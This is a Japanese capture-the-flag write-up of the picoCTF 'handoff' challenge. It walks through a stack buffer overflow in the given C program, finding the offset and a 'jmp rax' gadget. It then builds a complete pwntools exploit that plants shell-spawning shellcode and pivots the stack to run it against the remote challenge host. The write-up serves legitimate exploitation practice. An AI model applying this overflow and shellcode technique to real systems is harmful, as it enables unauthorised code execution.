初期調査
ソースコードはこんな感じ
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#define MAX_ENTRIES 10
#define NAME_LEN 32
#define MSG_LEN 64
typedef struct entry {
char name[8];
char msg[64];
} entry_t;
void print_menu() {
puts("What option would you like to do?");
puts("1. Add a new recipient");
puts("2. Send a message to a recipient");
puts("3. Exit the app");
}
int vuln() {
char feedback[8];
entry_t entries[10];
int total_entries = 0;
int choice = -1;
// Have a menu that allows the user to write whatever they want to a set
// buffer elsewhere in memory
while (true) {
print_menu();
if (scanf("%d", &choice) != 1)
exit(0);
getchar(); // Remove trailing \n
// Add entry
if (choice == 1) {
choice = -1;
// Check for max entries
if (total_entries >= MAX_ENTRIES) {
puts("Max recipients reached!");
continue;
}
// Add a new entry
puts("What's the new recipient's name: ");
fflush(stdin);
fgets(entries[total_entries].name, NAME_LEN, stdin);
total_entries++;
}
// Add message
else if (choice == 2) {
choice = -1;
puts("Which recipient would you like to send a message to?");
if (scanf("%d", &choice) != 1)
exit(0);
getchar();
if (choice >= total_entries) {
puts("Invalid entry number");
continue;
}
puts("What message would you like to send them?");
fgets(entries[choice].msg, MSG_LEN, stdin);
} else if (choice == 3) {
choice = -1;
puts("Thank you for using this service! If you could take a second to "
"write a quick review, we would really appreciate it: ");
fgets(feedback, NAME_LEN, stdin);
feedback[7] = '\0';
break;
} else {
choice = -1;
puts("Invalid option");
}
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0); // No buffering (immediate output)
vuln();
return 0;
}
1 で recipient を作成。2 で recipient にメッセージを追加。3 でフィードバックを書いて終了するようです。
それぞれの選択肢で文字を入力しますが、1 と 3 の選択肢でバッファオーバーフローしています。
セキュリティ機構は以下のような感じになってます。
$ checksec --file=handoff
[*] '/home/fedora/CTF/picoCTF/practice/handoff/handoff'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No
Stack が Executable になってます。
なので、文字を入力するときにシェルコードを仕込んで実行することができます。
バッファオーバーフローでリターンアドレスを書き換え、どうにかして仕込んだシェルコードのアドレスへ移動させればよさそうです。
2 を選択して入力する entries[choice].msg が一番バイト数がおおいのでここにシェルコードを仕込みます。
そして 3 を選択してバッファオーバーフローしてアドレスを変更します。
1 はバッファオーバーフローしますが msg の値を書き換えるだけなので攻撃には使えなさそうです。
全体的な流れとしては 1 で作成、2 でシェルコードを仕込み、3 でアドレスの書き換えになりそうです。
それではやってきましょう。
バッファオーバーフローのオフセット確認
まずは 3 でバッファオーバーフローをしたときのリターンアドレスを書き換えるまでのオフセットを確認。
pwndbg> b *vuln+452
Breakpoint 1 at 0x4013ed
pwndbg> cyclic 80
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaa
pwndbg> r
Starting program: /home/fedora/CTF/picoCTF/practice/handoff/handoff
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
What option would you like to do?
1. Add a new recipient
2. Send a message to a recipient
3. Exit the app
3
Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it:
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaa
...
pwndbg> bt
#0 0x00000000004013ed in vuln ()
#1 0x6161616461616161 in ?? ()
#2 0x00007fff00616161 in ?? ()
pwndbg> cyclic -l 0x6161616461616161
Finding cyclic pattern of 8 bytes: b'aaaadaaa' (hex: 0x6161616164616161)
Found at offset 20
オフセットは 20 でした。
ROP
さて、問題はここからです。
msg にシェルコードを仕込めたとして、どうやってそのアドレスまで移動するかです。
今回 PIE が無効なので ROP が使えそうです。
ROP を使ってレジスタの値をいじってシェルコードを仕込んだアドレスへ移動すればよさそう。
さらに、fgets 関数の戻り値は書き込んだアドレスになります。
このことを利用して、リターンアドレスに “jmp rax” を実行するアドレスを指定すれば、feedback に仕込んだ任意のアセンブリコードを実行できます。
そして、msg に書き込んだスタックのアドレスと、$rsp の差分は常に同じなはずなので $rsp をその差分だけ引いて、“jmp rsp” すればシェルコードを実行できる。
このように rsp (esp) を操作して、意図した ROP chain やシェルコードを実行させることを stack pivot というらしい。
今回、feedback のバイト数がシェルコードを入力するには小さすぎたため、stack pivot を使う。
それでは、“jmp rax” のアドレスを探して feedback のアドレスにジャンプする。
$ ROPgadget --binary handoff --ropchain | grep "jmp rax"
0x0000000000401165 : je 0x401170 ; mov edi, 0x404060 ; jmp rax
0x00000000004011a7 : je 0x4011b0 ; mov edi, 0x404060 ; jmp rax
0x000000000040116c : jmp rax
0x0000000000401167 : mov edi, 0x404060 ; jmp rax
0x0000000000401166 : or dword ptr [rdi + 0x404060], edi ; jmp rax
0x0000000000401163 : test eax, eax ; je 0x401170 ; mov edi, 0x404060 ; jmp rax
0x00000000004011a5 : test eax, eax ; je 0x4011b0 ; mov edi, 0x404060 ; jmp rax
“jmp rax” は 0x040116c にある。
ちゃんとジャンプできるか確認してみる。
使用したのは以下のコード。feedback のところにはとりあえず nop で埋めている。
from pwn import *
p = process("./handoff")
context.arch = "amd64"
context.terminal = ["tmux", "splitw"]
shellcode = shellcraft.sh()
shellcode = asm("nop") *5 + asm(shellcode)
gdb_script = """
b *vuln+392
b *vuln+452
continue
"""
gdb.attach(p, gdbscript=gdb_script)
p.sendlineafter(b"3. Exit the app\n", b"1")
p.sendlineafter(b"What's the new recipient's name: \n", b"test")
p.sendlineafter(b"3. Exit the app\n", b"2")
p.sendlineafter(b"Which recipient would you like to send a message to?\n", b"0")
p.sendlineafter(b"What message would you like to send them?\n", shellcode)
p.sendlineafter(b"3. Exit the app\n", b"3")
p.recvuntil(b"Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: \n")
offset = 20
payload = asm("nop;"*offset)
jmp_rax = 0x040116c
payload = payload + p64(jmp_rax)
p.sendline(payload)
p.interactive()
デバッグ結果を見てみる。
[-------------------------------------code-------------------------------------]
0x4013e0 <vuln+439>: mov esi,0x20
0x4013e5 <vuln+444>: mov rdi,rax
0x4013e8 <vuln+447>: call 0x4010b0 <fgets@plt>
=> 0x4013ed <vuln+452>: mov BYTE PTR [rbp-0x5],0x0
0x4013f1 <vuln+456>: jmp 0x40140c <vuln+483>
0x4013f3 <vuln+458>: mov DWORD PTR [rbp-0x2e4],0xffffffff
0x4013fd <vuln+468>: mov edi,0x4021b6
0x401402 <vuln+473>: call 0x4010a0 <puts@plt>
...
gdb-peda$ return
#0 0x000000000040116c in deregister_tm_clones ()
ちゃんとリターンアドレスが 0x040116c になってる。
ステップ実行するとちゃんと feedback のアドレスに来たことがわかる。
[-------------------------------------code-------------------------------------]
0x7ffc557d068e: add BYTE PTR [rax],al
0x7ffc557d0690: add BYTE PTR [rax],al
0x7ffc557d0692: add BYTE PTR [rax],al
=> 0x7ffc557d0694: nop
0x7ffc557d0695: nop
0x7ffc557d0696: nop
0x7ffc557d0697: nop
0x7ffc557d0698: nop
[------------------------------------stack-------------------------------------]
0000| 0x7ffc557d06b0 --> 0x7ffc557d000a --> 0x0
0008| 0x7ffc557d06b8 --> 0x7fcde275a575 (<__libc_start_call_main+117>: mov edi,eax)
0016| 0x7ffc557d06c0 --> 0x7fcde295d000 --> 0x3010102464c457f
0024| 0x7ffc557d06c8 --> 0x7ffc557d07d8 --> 0x7ffc557d210c ("./handoff")
Stack Pivot
それではここから仕込んだシェルコードのアドレスと rsp との差分を見てみる。
仕込んだシェルのコードはデバッグ結果から 0x7ffc557d03c8 であることがわかってる。
[----------------------------------registers-----------------------------------]
RAX: 0x7ffc557d03c8 --> 0x48686a9090909090
RBX: 0x0
RCX: 0x7fcde29417c0 --> 0x0
RDX: 0x7fcde29417c0 --> 0x0
RSI: 0x1ee1b2a1 --> 0xb848686a90909090
RDI: 0x7ffc557d03c9 --> 0xb848686a90909090
RBP: 0x7ffc557d06a0 --> 0x7ffc557d06b0 --> 0x7ffc557d0750 --> 0x7ffc557d07b0 -->
0x0
RSP: 0x7ffc557d03b0 --> 0x0
RIP: 0x4013b1 (<vuln+392>: jmp 0x401249 <vuln+32>)
R8 : 0x1ee1b2d6 --> 0x0
R9 : 0x0
R10: 0x0
R11: 0x202
R12: 0x7ffc557d07d8 --> 0x7ffc557d210c ("./handoff")
R13: 0x1
R14: 0x7fcde2993000 --> 0x7fcde29945f0 --> 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4013a4 <vuln+379>: mov esi,0x40
0x4013a9 <vuln+384>: mov rdi,rax
0x4013ac <vuln+387>: call 0x4010b0 <fgets@plt>
=> 0x4013b1 <vuln+392>: jmp 0x401249 <vuln+32>
| 0x4013b6 <vuln+397>: mov eax,DWORD PTR [rbp-0x2e4]
| 0x4013bc <vuln+403>: cmp eax,0x3
| 0x4013bf <vuln+406>: jne 0x4013f3 <vuln+458>
| 0x4013c1 <vuln+408>: mov DWORD PTR [rbp-0x2e4],0xffffffff
|-> 0x401249 <vuln+32>: mov eax,0x0
ではここから $rsp と 0x7ffc557d03c8 の差分を計算する
gdb-peda$ print $rsp - 0x7ffc557d03c8
$4 = (void *) 0x2e8
0x2e8 だった。つまり rsp からこの値を引いて、“jmp rsp” すれば仕込んだシェルが実行できる。
ではやってみる。
最後のペイロードを以下のように編集して実行
offset = 20
payload = asm("nop; sub rsp, 0x2e8; jmp rsp")
payload = payload + b"A" * (20 - len(payload))
jmp_rax = 0x040116c
payload = payload + p64(jmp_rax)
p.sendline(payload)
p.interactive()
$ python3 solve.py
[+] Starting local process './handoff': pid 136814
[*] Switching to interactive mode
$ whoami
fedora
シェルが実行できました!
リモートでも実行できることを確認!
$ python3 solve.py
[+] Opening connection to shape-facility.picoctf.net on port 50700: Done
[*] Switching to interactive mode
$ ls
flag.txt
handoff
start.sh
最終的なコード
from pwn import *
#p = process("./handoff")
p = remote("shape-facility.picoctf.net",50700 )
context.arch = "amd64"
context.terminal = ["tmux", "splitw"]
shellcode = shellcraft.sh()
shellcode = asm("nop") *5 + asm(shellcode)
gdb_script = """
b *vuln+392
b *vuln+452
continue
"""
#gdb.attach(p, gdbscript=gdb_script)
p.sendlineafter(b"3. Exit the app\n", b"1")
p.sendlineafter(b"What's the new recipient's name: \n", b"test")
p.sendlineafter(b"3. Exit the app\n", b"2")
p.sendlineafter(b"Which recipient would you like to send a message to?\n", b"0")
p.sendlineafter(b"What message would you like to send them?\n", shellcode)
p.sendlineafter(b"3. Exit the app\n", b"3")
p.recvuntil(b"Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: \n")
offset = 20
payload = asm("nop; sub rsp, 0x2e8; jmp rsp")
payload = payload + b"A" * (20 - len(payload))
jmp_rax = 0x040116c
payload = payload + p64(jmp_rax)
p.sendline(payload)
p.interactive()